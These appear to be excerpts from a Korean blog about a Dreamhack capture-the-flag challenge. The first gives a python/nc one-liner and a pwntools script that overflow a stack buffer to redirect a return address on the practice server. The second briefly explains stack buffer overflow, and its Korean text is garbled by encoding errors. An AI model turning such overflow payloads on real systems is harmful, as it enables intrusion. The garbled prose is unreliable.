Host: host1.dreamhack.games Port: 10469/tcp 1. python ๊ณต๊ฒฉ ์ฝ๋ ์ด์ฉ (python -c "print('A'*0x30 + 'B'*0x8 + '\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| nc host1.dreamhack.games 10469 2. pwntools ์ด์ฉ from pwn import * p = remote('host1.dreamhack.games',10469) # ์๊ฒฉ ์๋ฒ ๋์์ผ๋ก ์ต์คํ๋ก์ ์ํ context.arch="amd64" # x86-64 payload = 'A' * 0x30 payload += 'B' * 0x08 payload += '\xaa\x06\x40\x00\x00\x00\x00\x00' # get_..
์คํ ์ค๋ฒํ๋ก์ฐ VS ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ์คํ ์ค๋ฒํ๋ก์ฐ : ์คํ์์ญ์ด ๋๋ฌด ๋ง์ด ํ์ฅ๋ผ์ ๋ฐ์ํ๋ ๋ฒ๊ทธ ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ : ์คํ์ ์์นํ ๋ฒํผ์ ๋ฒํผ์ ํฌ๊ธฐ๋ณด๋ค ๋ง์ ๋ฐ์ดํฐ๊ฐ ์ ๋ ฅ๋์ด ๋ฐ์ํ๋ ๋ฒ๊ทธ (์คํ์ ๋ฒํผ์์ ๋ฐ์ํ๋ ์ค๋ฒํ๋ก์ฐ) ๋ฒํผ(buffer)๋? ๋ฐ์ดํฐ๊ฐ ๋ชฉ์ ์ง๋ก ์ด๋๋๊ธฐ ์ ์ ๋ณด๊ด๋๋ ์์ ์ ์ฅ์ ์คํ ๋ฒํผ : ์คํ์ ์๋ ์ง์ญ๋ณ์ ํ ๋ฒํผ : ํ์ ํ ๋น๋ ๋ฉ๋ชจ๋ฆฌ ์์ญ Ex1) ๋ฐ์ดํฐ ๋ณ์กฐ - ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ก ์ธํด ๋ค์ ๋ฐ์ดํฐ ๊ฐ์ ๋ณ์กฐ์ํฌ ์ ์๋ค. Ex2) ๋ฐ์ดํฐ ์ ์ถ c์ธ์ด์์ ๋ฌธ์์ด์ ๋์ null๋ก ์ธ์ํ๋๋ฐ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ฅผ ํตํด null์ ์์ ์ฃผ๋ฉด ๋ค์ ๋ฐ์ดํฐ๊น์ง ํจ๊ป ์ฝ๋ ๊ฒ์ด ๊ฐ๋ฅํด์ง๋ค. Ex3) ์คํํ๋ฆ์กฐ์ ์๋ฅผ ๋ค๋ฉด ํจ์์ ret์ ์์ ์ด ์คํํ๊ณ ์ถ์ ๋ช ๋ น..